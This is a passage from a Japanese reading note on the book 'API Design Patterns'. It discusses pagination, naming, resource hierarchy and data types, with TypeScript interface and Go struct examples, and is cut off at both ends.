FoucherオライリージャパンAmazon予測可能性とコード一貫性予測可能性に関する著者の主張は、特に共感できる点です。APIの一貫性、特にフィールド名やメソッド名の命名規則の統一は、開発者の生産性に直接影響します。多くの開発チームでは、コードスタイルの一貫性を保つ文化が根付いています。これは、APIの設計にも同様に適用されるべき考え方です。予測可能なAPIは、学習コストを低減し、誤用の可能性を減らします。これは、大規模なシステムやマイクロサービス環境で特に重要です。一貫したパターンを持つAPIは、新しいサービスの統合や既存サービスの拡張を容易にします。著者の主張に対する補完的視点しかし、著者の主張に対して、いくつかの疑問や補完的な視点も考えられます。例えば、リソース指向APIが常に最適解であるかどうかは、議論の余地があります。特に、リアルタイム性が求められる場合や、複雑なビジネスロジックを扱う場合など、RPC指向のアプローチが適している場合もあります。gRPCを使用したストリーミングAPIなど、リソース指向とRPC指向のハイブリッドなアプローチも有効な選択肢となりうるでしょう。また、著者はAPI設計の技術的側面に焦点を当てていますが、組織的な側面についても言及があれば良かったと思います。例えば、マイクロサービスアーキテクチャにおいて、異なるチームが管理する複数のサービス間でAPIの一貫性を保つためには、技術的な設計パターンだけでなく、組織的なガバナンスや設計レビューのプロセスも重要です。さらに、APIのバージョニングや後方互換性の維持に関する詳細な議論があれば、より実践的な内容になったかもしれません。これらの点は、システムの安定性と進化のバランスを取る上で極めて重要です。総括と実践への応用総括すると、この章はAPIの基本概念と設計原則に関する優れた導入を提供しています。著者の主張は、日々の実践に直接適用できる洞察に満ちています。特に、「良い」APIの特性に関する議論は、API設計の指針として非常に有用です。これらの原則を意識しながら設計することで、使いやすく、拡張性があり、運用しやすいAPIを実現できるでしょう。また、リソース指向APIの利点に関する著者の主張は、RESTful APIの設計において特に参考になります。多くの現代的なWebフレームワークを使用してRESTful APIを実装することが一般的ですが、これらのフレームワークを使用する際も、著者が提唱するリソース指向の原則を意識することで、より一貫性のある設計が可能になります。しかし、実際の開発現場では、これらの原則を機械的に適用するだけでなく、具体的なユースケースや要件に応じて適切なトレードオフを判断することが重要です。例えば、パフォーマンスが極めて重要な場合は、RESTful APIよりもgRPCを選択するなど、状況に応じた柔軟な判断が求められます。さらに、APIの設計は技術的な側面だけでなく、ビジネス要件やユーザーのニーズとも密接に関連しています。したがって、API設計のプロセスには、技術チームだけでなく、プロダクトマネージャーやユーザー体験(UX)の専門家など、多様なステークホルダーを巻き込むことが重要です。継続的改善と進化の重要性最後に、APIの設計は一度で完成するものではなく、継続的な改善と進化のプロセスであることを強調したいと思います。APIの性能モニタリング、エラーレート分析、使用パターンの観察などを通じて、常にAPIの品質と有効性を評価し、必要に応じて改善を加えていくことが重要です。この章で学んだ原則と概念を、単なる理論ではなく、実際の開発プラクティスに統合していくことが、次のステップとなるでしょう。例えば、APIデザインレビューのチェックリストを作成し、チーム内で共有することや、APIのスタイルガイドを作成し、一貫性のある設計を促進することなどが考えられます。また、この章の内容を踏まえて、既存のAPIを評価し、改善の余地がないかを検討することも有用です。特に、予測可能性やシンプル性の観点から、現在のAPIが最適化されているかを見直すことで、大きな改善につながる可能性があります。結論結論として、この章はAPIデザインの基本原則を理解し、実践するための優れた出発点を提供しています。ここで学んだ概念を実践に適用することで、より堅牢で使いやすい、そして運用しやすいAPIを設計・実装することができるでしょう。そして、これらの原則を日々の開発プラクティスに組み込むことで、長期的にはプロダクトの品質向上とチームの生産性向上につながると確信しています。この章の内容は、単にAPIの設計だけでなく、ソフトウェアアーキテクチャ全体に適用できる重要な原則を提供しています。システムの相互運用性、保守性、スケーラビリティを向上させるために、これらの原則を広く適用することが可能です。2 Introduction to API design patterns「API Design Patterns」の第2章「Introduction to API design patterns」は、API設計パターンの基本概念から始まり、その重要性、構造、そして実際の適用に至るまで、幅広いトピックをカバーしています。この章を通じて、著者はAPI設計パターンの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。API設計パターンの定義と重要性API設計パターンは、ソフトウェア設計パターンの一種であり、APIの設計と構造化に関する再利用可能な解決策を提供します。著者は、これらのパターンを「適応可能な設計図」と巧みに表現しています。この比喩は、API設計パターンの本質を非常によく捉えています。建築の設計図が建物の構造を定義するように、API設計パターンはAPIの構造とインターフェースを定義します。しかし、重要な違いは、API設計パターンが固定的ではなく、様々な状況に適応可能であるという点です。著者は、API設計パターンの重要性をAPIの硬直性という観点から説明しています。これは非常に重要な指摘です。APIは一度公開されると、変更が困難になります。これは、APIの消費者(クライアントアプリケーションなど)が既存のインターフェースに依存しているためです。この硬直性は、システムの進化や新機能の追加を困難にする可能性があります。この問題を考えると、APIの硬直性はシステムの運用性と信頼性に直接影響を与えます。例えば、不適切に設計されたAPIは、将来的なスケーリングや性能最適化を困難にする可能性があります。また、APIの変更が必要になった場合、既存のクライアントとの互換性を維持しながら変更を行う必要があり、これは運用上の大きな課題となります。この問題に対処するため、著者は設計パターンを初期段階から採用することの重要性を強調しています。これは、将来の変更や拡張を容易にし、システムの長期的な保守性を向上させる上で非常に重要です。このアプローチはシステムの安定性と信頼性を長期的に確保するための重要な戦略です。API設計パターンの構造著者は、API設計パターンの構造を詳細に説明しています。特に興味深いのは、パターンの記述に含まれる要素です。名前とシノプシス動機概要実装トレードオフこの構造は、パターンを理解し適用する上で非常に有用です。特に、トレードオフの項目は重要です。ソフトウェア工学において、すべての決定にはトレードオフが伴います。パターンを適用する際も例外ではありません。脱線しますがアーキテクチャのトレードオフについてはこちらがオススメです。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazonトレードオフの理解はリスク管理と密接に関連しています。例えば、あるパターンを採用することで、システムの柔軟性が向上する一方で、複雑性も増加するかもしれません。このトレードオフを理解し、適切に管理することは、システムの信頼性とパフォーマンスを最適化する上で重要です。実践的な適用:Twapiの事例研究著者は、Twitter風のAPIであるTwapiを爆誕させて例に取り、API設計パターンの実践的な適用を示しています。この事例研究は、理論を実践に移す上で非常に有用です。特に興味深いのは、メッセージのリスト化とエクスポートの2つの機能に焦点を当てている点です。これらの機能は、多くのAPIで共通して必要とされるものであり、実際の開発シーンでも頻繁に遭遇する課題です。メッセージのリスト化著者は、まずパターンを適用せずにメッセージをリスト化する機能を実装し、その後にページネーションパターンを適用した実装を示しています。このコントラストは非常に教育的です。パターンを適用しない初期の実装は、以下のようになっています。interface ListMessagesResponse { results: Message[];}この実装は一見シンプルですが、著者が指摘するように、データ量が増加した場合に問題が発生します。例えば、数十万件のメッセージを一度に返そうとすると、レスポンスのサイズが巨大になり、ネットワークの帯域幅を圧迫し、クライアント側での処理も困難になります。これに対し、ページネーションパターンを適用した実装は以下のようになります。interface ListMessagesRequest { parent: string; pageToken: string; maxPageSize?: number;}interface ListMessagesResponse { results: Message[]; nextPageToken: string;}この実装では、クライアントはpageTokenとmaxPageSizeを指定することで、必要な量のデータを段階的に取得できます。これにより、大量のデータを効率的に扱うことが可能になります。このパターンの適用はシステムの安定性とスケーラビリティに大きく貢献します。大量のデータを一度に送信する必要がなくなるため、ネットワーク負荷が軽減され、サーバーのリソース消費も抑えられます。また、クライアント側でも処理するデータ量が制御可能になるため、アプリケーションのパフォーマンスと安定性が向上します。データのエクスポートデータのエクスポート機能に関しても、著者は同様のアプローチを取っています。まずパターンを適用しない実装を示し、その後にImport/Exportパターンを適用した実装を提示しています。パターンを適用しない初期の実装は以下のようになっています。interface ExportMessagesResponse { exportDownloadUri: string;}この実装は、エクスポートされたデータのダウンロードURLを返すだけの単純なものです。しかし、著者が指摘するように、この方法には幾つかの制限があります。例えば、エクスポート処理の進捗状況を確認できない、エクスポート先を柔軟に指定できない、データの圧縮や暗号化オプションを指定できないなどの問題があります。これに対し、Import/Exportパターンを適用した実装は以下のようになります。interface ExportMessagesRequest { parent: string; outputConfig: MessageOutputConfig;}interface MessageOutputConfig { destination: Destination; compressionConfig?: CompressionConfig; encryptionConfig?: EncryptionConfig;}interface ExportMessagesResponse { outputConfig: MessageOutputConfig;}この実装では、エクスポート先やデータの処理方法を柔軟に指定できるようになっています。さらに、著者は長時間実行操作パターンを組み合わせることで、エクスポート処理の進捗状況を追跡する方法も提示しています。このパターンの適用はシステムの運用性と可観測性を大幅に向上させます。エクスポート処理の進捗を追跡できるようになることで、問題が発生した際の迅速な対応が可能になります。また、エクスポート設定の柔軟性が増すことで、様々なユースケースに対応できるようになり、システムの利用可能性が向上します。API設計パターンの適用:早期採用の重要性著者は、API設計パターンの早期採用の重要性を強調しています。これは非常に重要な指摘です。APIを後から変更することは困難であり、多くの場合、破壊的な変更を伴います。例えば、ページネーションパターンを後から導入しようとした場合、既存のクライアントは全てのデータが一度に返ってくることを期待しているため、新しいインターフェースに対応できません。これは、後方互換性の問題を引き起こします。この問題はシステムの安定性と信頼性に直接影響します。APIの破壊的変更は、依存するシステムやサービスの機能停止を引き起こす可能性があります。これは、サービスレベル目標(SLO)の違反につながる可能性があります。したがって、API設計パターンの早期採用は、長期的な視点でシステムの安定性と進化可能性を確保するための重要な戦略と言えます。これは、「設計負債」を最小限に抑え、将来の拡張性を確保することにつながります。結論本章は、API設計パターンの基本的な概念と重要性を明確に示しています。特に、APIの硬直性という特性に焦点を当て、設計パターンの早期採用がいかに重要であるかを強調している点は非常に重要です。この章で学んだ内容は、システムの長期的な信頼性、可用性、保守性を確保する上で非常に重要です。API設計パターンを適切に適用することで、システムのスケーラビリティ、運用性、可観測性を向上させることができます。しかし、パターンの適用に当たっては、常にトレードオフを考慮する必要があります。パターンを適用することで複雑性が増す可能性もあるため、システムの要件や制約を十分に理解した上で、適切なパターンを選択することが重要です。API設計は単なる技術的な問題ではなく、システム全体のアーキテクチャ、開発プロセス、運用実践に深く関わる問題であることを認識することが重要です。Part 2 Design principlesここでは、APIデザインの核心となる原則が議論されています。命名規則、リソースのスコープと階層、データ型とデフォルト値、リソースの識別子、標準メソッド、部分的な更新と取得、カスタムメソッドなどの重要なトピックが取り上げられています。これらの原則は、一貫性があり、使いやすく、拡張性のあるAPIを設計する上で不可欠です。3 Naming「API Design Patterns」の第3章「Naming」は、API設計における命名の重要性、良い名前の特性、言語・文法・構文の選択、コンテキストの影響、データ型と単位の扱い、そして不適切な命名がもたらす結果について幅広く論じています。この章を通じて、著者は命名が単なる表面的な問題ではなく、APIの使いやすさ、保守性、そして長期的な成功に直接影響を与える重要な設計上の決定であることを明確に示しています。命名の重要性著者は、命名がソフトウェア開発において避けられない、そして極めて重要な側面であることから議論を始めています。特にAPIの文脈では、選択された名前はAPIの利用者が直接目にし、相互作用する部分であるため、その重要性は倍増します。「ルールズ・オブ・プログラミング」では\"優れた名前こそ最高のドキュメントである\"と述べられていますが、まさにその通りだと言えるでしょう。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazonこの点は、特にマイクロサービスアーキテクチャやクラウドネイティブ開発の文脈で重要です。これらの環境では、多数のサービスやコンポーネントが相互に通信し、それぞれのインターフェースを通じて機能を提供します。適切な命名は、これらのサービス間の関係を明確にし、システム全体の理解を促進します。例えば、Kubernetes環境で動作するマイクロサービスを考えてみましょう。サービス名、エンドポイント名、パラメータ名などの命名が適切であれば、開発者はシステムの全体像を把握しやすくなり、新しい機能の追加や既存機能の修正がスムーズに行えます。逆に、命名が不適切であれば、サービス間の依存関係の理解が困難になり、システムの複雑性が不必要に増大する可能性があります。著者は、APIの名前を変更することの困難さについても言及しています。これは、後方互換性の維持という観点から非常に重要な指摘です。一度公開されたAPIの名前を変更することは、そのAPIに依存する全てのクライアントに影響を与える可能性があります。これは、システムの安定性と信頼性に直接関わる問題です。この点は、特にバージョニング戦略と密接に関連しています。例えば、セマンティックバージョニングを採用している場合、名前の変更は通常メジャーバージョンの更新を必要とします。これは、その変更が後方互換性を破壊する可能性があることを意味します。したがって、初期の段階で適切な命名を行うことは、将来的なバージョン管理の複雑さを軽減し、システムの長期的な保守性を向上させる上で極めて重要です。良い名前の特性著者は、良い名前の特性として「表現力」「シンプルさ」「予測可能性」の3つを挙げています。これらの特性は、APIの設計全体にも適用できる重要な原則です。表現力は、名前が表す概念や機能を明確に伝える能力を指します。例えば、CreateAccountという名前は、アカウントを作成するという機能を明確に表現しています。この表現力は、APIの自己文書化につながり、開発者がAPIを直感的に理解し、使用することを可能にします。シンプルさは、不必要な複雑さを避け、本質的な意味を簡潔に伝える能力です。著者はUserPreferencesという例を挙げていますが、これはUserSpecifiedPreferencesよりもシンプルでありながら、十分に意味を伝えています。シンプルな名前は、コードの可読性を高め、APIの学習曲線を緩やかにします。予測可能性は、APIの一貫性に関わる重要な特性です。著者は、同じ概念には同じ名前を、異なる概念には異なる名前を使用することの重要性を強調しています。これは、APIの学習可能性と使いやすさに直接影響します。これらの特性は、マイクロサービスアーキテクチャにおいて特に重要です。多数のサービスが存在する環境では、各サービスのAPIが一貫した命名規則に従っていることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで、リソースの作成にCreate、更新にUpdate、削除にDeleteというプレフィックスを使用するといった一貫性は、開発者の生産性を大きく向上させます。Golangの文脈では、これらの原則は特に重要です。Goの設計哲学は、シンプルさと明確さを重視しており、これはAPI設計にも反映されるべきです。例えば、Goの標準ライブラリでは、http.ListenAndServeやjson.Marshalのような、動詞+名詞の形式で簡潔かつ表現力豊かな名前が多用されています。これらの名前は、その機能を明確に表現しながらも、不必要に長くならないよう配慮されています。言語、文法、構文の選択著者は、API設計における言語、文法、構文の選択について詳細に論じています。特に興味深いのは、アメリカ英語を標準として使用することの推奨です。これは、グローバルな相互運用性を最大化するための実用的な選択として提示されています。この選択は、国際的なチームが協働するモダンな開発環境において特に重要です。例えば、多国籍企業のマイクロサービス環境では、各サービスのAPIが一貫した言語で設計されていることが、チーム間のコミュニケーションと統合を円滑にします。文法に関しては、著者は動詞の使用法、特に命令法の重要性を強調しています。例えば、CreateBookやDeleteWeatherReadingのような名前は、アクションの目的を明確に示します。これは、RESTful APIの設計原則とも整合しており、HTTP動詞とリソース名の組み合わせによる直感的なAPIデザインを促進します。構文に関しては、一貫したケース(camelCase, snake_case, kebab-case)の使用が推奨されています。これは、APIの一貫性と予測可能性を高めるために重要です。例えば、Golangでは通常、公開される関数やメソッドには PascalCase を、非公開のものには camelCase を使用します。この規則を API 設計にも適用することで、Go 開発者にとって馴染みやすい API を作成できます。type UserService interface { CreateUser(ctx context.Context, user *User) error GetUserByID(ctx context.Context, id string) (*User, error) UpdateUserProfile(ctx context.Context, id string, profile *UserProfile) error}このような一貫した命名規則は、API の使用者が新しいエンドポイントや機能を容易に予測し、理解することを可能にします。コンテキストと命名著者は、命名におけるコンテキストの重要性を強調しています。同じ名前でも、異なるコンテキストで全く異なる意味を持つ可能性があるという指摘は、特にマイクロサービスアーキテクチャにおいて重要です。例えば、Userという名前は、認証サービスでは認証情報を持つエンティティを指す可能性がありますが、注文管理サービスでは顧客情報を指す可能性があります。このような場合、コンテキストを明確にするために、AuthUserやCustomerUserのように、より具体的な名前を使用することが望ましいでしょう。これは、ドメイン駆動設計(DDD)の概念とも密接に関連しています。DDDでは、各ドメイン(またはバウンデッドコンテキスト)内で一貫した用語を使用することが推奨されます。API設計においても、この原則を適用し、各サービスやモジュールのドメインに適した名前を選択することが重要です。例えば、Eコマースシステムのマイクロサービスアーキテクチャを考えてみましょう:注文サービス: Order, OrderItem, PlaceOrder在庫サービス: InventoryItem, StockLevel, ReserveStock支払サービス: Payment, Transaction, ProcessPayment各サービスは、そのドメインに特化した用語を使用しています。これにより、各サービスの責任範囲が明確になり、他のサービスとの境界も明確になります。データ型と単位著者は、データ型と単位の扱いについても詳細に論じています。特に、単位を名前に含めることの重要性が強調されています。これは、API の明確さと安全性を高める上で非常に重要です。例えば、サイズを表すフィールドを単に size とするのではなく、sizeBytes や sizeMegapixels のように単位を明示することで、そのフィールドの意味と使用方法が明確になります。これは、特に異なるシステム間で情報をやり取りする際に重要です。著者が挙げている火星気候軌道船の例は、単位の不一致がもたらす重大な結果を示す極端な例ですが、日常的な開発においても同様の問題は起こりうます。例えば、あるサービスが秒単位で時間を扱い、別のサービがミリ秒単位で扱っている場合、単位が明示されていないと深刻なバグの原因となる可能性があります。Golangにおいて、このような問題に対処するための一つの方法は、カスタム型を使用することです。例えば:type Bytes int64type Megapixels float64type Image struct { Content []byte SizeBytes Bytes Dimensions struct { Width Megapixels Height Megapixels }}このようなアプローチは、型安全性を高め、単位の誤用を防ぐのに役立ちます。さらに、これらの型に特定のメソッドを追加することで、単位変換や値の検証を容易に行うことができます。結論著者は、良い命名の重要性と、それがAPIの品質全体に与える影響を明確に示しています。良い名前は、単にコードを読みやすくするだけでなく、APIの使いやすさ、保守性、そして長期的な進化可能性に直接影響を与えます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切な命名がシステム全体の理解と管理を容易にする鍵となります。一貫性のある、表現力豊かで、かつシンプルな名前を選択することで、開発者はAPIを直感的に理解し、効率的に使用することができます。また、単位やデータ型を明確に示す名前を使用することは、システムの安全性と信頼性を高める上で重要です。これは、特に異なるシステムやチーム間でデータをやり取りする際に、誤解や誤用を防ぐ効果的な手段となります。Golangの文脈では、言語の設計哲学であるシンプルさと明確さを反映したAPI設計が重要です。標準ライブラリの命名規則に倣い、簡潔でかつ表現力豊かな名前を選択することで、Go開発者にとって親和性の高いAPIを設計することができます。最後に、命名は技術的な問題であると同時に、コミュニケーションの問題でもあります。適切な命名は、開発者間、チーム間、さらには組織間のコミュニケーションを促進し、プロジェクトの成功に大きく寄与します。したがって、API設計者は命名に十分な時間と注意を払い、長期的な視点でその影響を考慮する必要があります。4 Resource scope and hierarchy「API Design Patterns」の第4章「Resource scope and hierarchy」は、APIにおけるリソースのスコープと階層構造に焦点を当て、リソースレイアウトの概念、リソース間の関係性の種類、エンティティ関係図の活用方法、適切なリソース関係の選択基準、そしてリソースレイアウトのアンチパターンについて詳細に論じています。この章を通じて、著者はリソース中心のAPI設計の重要性と、それがシステムの拡張性、保守性、そして全体的なアーキテクチャにどのように影響を与えるかを明確に示しています。Figure 4.2 Users, payment methods, and addresses all have different relationships to one another. より引用リソースレイアウトの重要性著者は、APIデザインにおいてリソースに焦点を当てることの重要性から議論を始めています。これは、RESTful APIの設計原則と密接に関連しており、アクションよりもリソースを中心に考えることで、API全体の一貫性と理解しやすさが向上することを強調しています。この考え方は、マイクロサービスアーキテクチャやクラウドネイティブ開発において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが扱うリソースとその関係性を明確に定義することで、システム全体の複雑性を管理しやすくなります。著者が提示するリソースレイアウトの概念は、単にデータベーススキーマを設計するのとは異なります。APIのリソースレイアウトは、クライアントとサーバー間の契約であり、システムの振る舞いや機能を定義する重要な要素となります。この点で、リソースレイアウトはシステムの外部インターフェースを形作る重要な要素であり、慎重に設計する必要があります。リソース間の関係性著者は、リソース間の関係性を詳細に分類し、それぞれの特性と適用場面について論じています。特に注目すべきは以下の点です。参照関係: 最も基本的な関係性で、あるリソースが他のリソースを参照する形式です。例えば、メッセージリソースが著者ユーザーを参照する場合などが該当します。多対多関係: 複数のリソースが互いに関連する複雑な関係性です。例えば、ユーザーとチャットルームの関係などが挙げられます。自己参照関係: 同じタイプのリソースが互いに参照し合う関係性です。階層構造や社会的なネットワークの表現に適しています。階層関係: 親子関係を表現する特殊な関係性で、所有権や包含関係を示します。これらの関係性の理解と適切な適用は、APIの設計において極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の境界を定義する際にこれらの関係性を慎重に考慮する必要があります。例えば、Golangを用いてマイクロサービスを実装する場合、これらの関係性を適切に表現することが重要です。以下は、チャットアプリケーションにおけるメッセージとユーザーの関係を表現する簡単な例です。type Message struct { ID string `json:\"id\"` Content string `json:\"content\"` AuthorID string `json:\"author_id\"` Timestamp time.Time `json:\"timestamp\"`}type User struct { ID string `json:\"id\"` Username string `json:\"username\"` Email string `json:\"email\"`}type ChatRoom struct { ID string `json:\"id\"` Name string `json:\"name\"` UserIDs []string `json:\"user_ids\"`}この例では、MessageがUserを参照する関係性と、ChatRoomとUserの多対多関係を表現しています。エンティティ関係図の活用著者は、エンティティ関係図(ERD)の重要性とその読み方について詳しく説明しています。ERDは、リソース間の関係性を視覚的に表現する強力なツールです。特に、カーディナリティ(一対一、一対多、多対多など)を明確に示すことができる点が重要です。ERDの活用は、APIの設計フェーズだけでなく、ドキュメンテーションや開発者間のコミュニケーションにおいても非常に有効です。特に、マイクロサービスアーキテクチャのような複雑なシステムでは、各サービスが扱うリソースとその関係性を視覚的に理解することが、全体像の把握に役立ちます。適切な関係性の選択著者は、リソース間の適切な関係性を選択する際の考慮点について詳細に論じています。特に重要な点は以下の通りです。関係性の必要性: すべてのリソース間に関係性を持たせる必要はありません。必要最小限の関係性に留めることで、APIの複雑性を抑制できます。インライン化 vs 参照: リソースの情報をインライン化するか、参照として扱うかの選択は、パフォーマンスとデータの一貫性のトレードオフを考慮して決定する必要があります。階層関係の適切な使用: 階層関係は強力ですが、過度に深い階層は避けるべきです。これらの選択は、システムの拡張性と保守性に大きな影響を与えます。例えば、不必要に多くの関係性を持つAPIは、将来的な変更が困難になる可能性があります。一方で、適切に設計された関係性は、システムの理解を容易にし、新機能の追加やスケーリングを円滑に行うことができます。アンチパターンの回避著者は、リソースレイアウトにおける一般的なアンチパターンとその回避方法について説明しています。特に注目すべきアンチパターンは以下の通りです。全てをリソース化する: 小さな概念まですべてをリソース化することは、APIを不必要に複雑にする可能性があります。深すぎる階層: 過度に深い階層構造は、APIの使用と理解を困難にします。全てをインライン化する: データの重複や一貫性の問題を引き起こす可能性があります。これらのアンチパターンを回避することで、より使いやすく、保守性の高いAPIを設計することができます。例えば、深すぎる階層構造を避けることで、APIのエンドポイントがシンプルになり、クライアント側の実装も容易になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。サービス境界の定義: リソースの関係性を適切に設計することで、マイクロサービス間の境界を明確に定義できます。これは、システムの拡張性と保守性に直接的な影響を与えます。パフォーマンスとスケーラビリティ: インライン化と参照の適切な選択は、システムのパフォーマンスとスケーラビリティに大きく影響します。例えば、頻繁に一緒にアクセスされるデータをインライン化することで、不必要なネットワーク呼び出しを減らすことができます。進化可能性: 適切にリソースと関係性を設計することで、将来的なAPIの拡張や変更が容易になります。これは、長期的なシステム運用において非常に重要です。一貫性と予測可能性: リソースレイアウトの一貫したアプローチは、APIの学習曲線を緩やかにし、開発者の生産性を向上させます。運用の簡素化: 適切に設計されたリソース階層は、アクセス制御やログ分析などの運用タスクを簡素化します。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、Goの構造体やインターフェースを使用して、リソース間の関係性を明確に表現することができます。また、Goの強力な型システムを活用することで、APIの一貫性と型安全性を確保することができます。結論第4章「Resource scope and hierarchy」は、APIデザインにおけるリソースのスコープと階層構造の重要性を明確に示しています。適切なリソースレイアウトの設計は、APIの使いやすさ、拡張性、保守性に直接的な影響を与えます。特に重要な点は以下の通りです。リソース間の関係性を慎重に設計し、必要最小限の関係性に留めること。インライン化と参照のトレードオフを理解し、適切に選択すること。階層関係を効果的に使用しつつ、過度に深い階層は避けること。一般的なアンチパターンを認識し、回避すること。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なリソースレイアウトの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の拡張性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。5 Data types and defaults「API Design Patterns」の第5章「Data types and defaults」は、APIにおけるデータ型とデフォルト値の重要性、各データ型の特性と使用上の注意点、そしてシリアライゼーションの課題について詳細に論じています。この章を通じて、著者はAPIの設計において適切なデータ型の選択とデフォルト値の扱いが、APIの使いやすさ、信頼性、そして長期的な保守性にどのように影響するかを明確に示しています。データ型の重要性と課題著者は、APIにおけるデータ型の重要性から議論を始めています。特に注目すべきは、プログラミング言語固有のデータ型に依存せず、シリアライゼーションフォーマット(主にJSON)を介して異なる言語間で互換性のあるデータ表現を実現することの重要性です。この問題は根深すぎて一つの解決策として開発言語を揃えるまでしてる組織ある。この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 5.1 Data moving from API server to client より引用この図は、APIサーバーからクライアントへのデータの流れを示しています。サーバー側でのプログラミング言語固有の表現がシリアライズされ、言語非依存の形式(多くの場合JSON)に変換され、ネットワークを介して送信されます。クライアント側では、このデータがデシリアライズされ、再びクライアントの言語固有の表現に変換されます。この過程は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。異なる言語やフレームワークで実装された複数のサービスが協調して動作する環境では、このようなデータの変換と伝送が頻繁に行われるため、データ型の一貫性と互換性が不可欠です。例えば、あるサービスが64ビット整数を使用し、別のサービスがそれを32ビット整数として解釈してしまうと、深刻なバグや不整合が発生する可能性があります。著者が指摘する「null」値と「missing」値の区別も重要な論点です。これは、オプショナルな値の扱いにおいて特に重要で、APIの設計者はこの違いを明確に意識し、適切に処理する必要があります。例えば、Golangにおいては、以下のように構造体のフィールドをポインタ型にすることで、この区別を表現できます。type User struct { ID string `json:\"id\"` Name string `json:\"name\"` Age *int `json:\"age,omitempty\"` IsActive *bool `json:\"is_active,omitempty\"`}この設計により、AgeやIsActiveフィールドが省略された場合(missing)と、明示的にnullが設定された場合を区別できます。このような細かい違いに注意を払うことで、APIの柔軟性と表現力を高めることができます。プリミティブデータ型の扱い著者は、ブール値、数値、文字列といったプリミティブデータ型について詳細に論じています。特に注目すべきは、これらのデータ型の適切な使用法と、シリアライゼーション時の注意点です。ブール値に関しては、フィールド名の選択が重要であると指摘しています。例えば、disallowChatbotsよりもallowChatbotsを使用することで、二重否定を避け、APIの理解しやすさを向上させることができます。数値に関しては、大きな整数や浮動小数点数の扱いに注意が必要です。著者は、これらの値を文字列としてシリアライズすることを提案しています。これは特に重要な指摘で、例えばJavaScriptでは64ビット整数を正確に扱えないという問題があります。Golangでこれを実装する場合、以下のようなアプローチが考えられます。type LargeNumber struct { Value string `json:\"value\"`}func (ln *LargeNumber) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } // ここで文字列を適切な数値型に変換 // エラーチェックも行う return nil}文字列に関しては、UTF-8エンコーディングの使用と、正規化形式(特にNFC)の重要性が強調されています。これは特に識別子として使用される文字列に重要で、一貫性のある比較を保証します。コレクションと構造体著者は、リスト(配列)とマップ(オブジェクト)についても詳細に論じています。これらのデータ型は、複雑なデータ構造を表現する上で不可欠ですが、適切に使用しないと問題を引き起こす可能性があります。リストに関しては、要素の型の一貫性と、サイズの制限の重要性が指摘されています。これは、API の安定性とパフォーマンスに直接影響します。例えば、リストのサイズが無制限に大きくなることを許可すると、メモリ使用量の増大やレスポンス時間の遅延につながる可能性があります。マップに関しては、動的なキー・バリューペアの格納に適していますが、スキーマレスな性質ゆえに慎重に使用する必要があります。著者は、マップのキーと値のサイズに制限を設けることを推奨しています。これは、APIの予測可能性と安定性を確保する上で重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。データの一貫性: 異なるサービス間でデータ型の一貫性を保つことは、システム全体の信頼性と保守性に直結します。例えば、全てのサービスで日時をISO 8601形式の文字列として扱うといった統一規則を設けることが有効です。バージョニングとの関係: データ型の変更はしばしばAPIの破壊的変更につながります。適切なバージョニング戦略と組み合わせることで、既存のクライアントへの影響を最小限に抑えつつ、APIを進化させることができます。パフォーマンスとスケーラビリティ: 大きな数値を文字列として扱うことや、コレクションのサイズを制限することは、システムのパフォーマンスとスケーラビリティに直接影響します。これらの決定は、システムの成長に伴う課題を予防する上で重要です。エラーハンドリング: 不適切なデータ型やサイズの入力を適切に処理し、明確なエラーメッセージを返すことは、APIの使いやすさと信頼性を向上させます。ドキュメンテーション: データ型、特に制約(例:文字列の最大長、数値の範囲)を明確にドキュメント化することは、API利用者の理解を助け、誤用を防ぎます。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、カスタムのUnmarshalJSONメソッドを使用して、文字列として受け取った大きな数値を適切に処理することができます。また、Goの強力な型システムを活用することで、APIの型安全性を高めることができます。type SafeInt64 int64func (si *SafeInt64) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } i, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *si = SafeInt64(i) return nil}結論第5章「Data types and 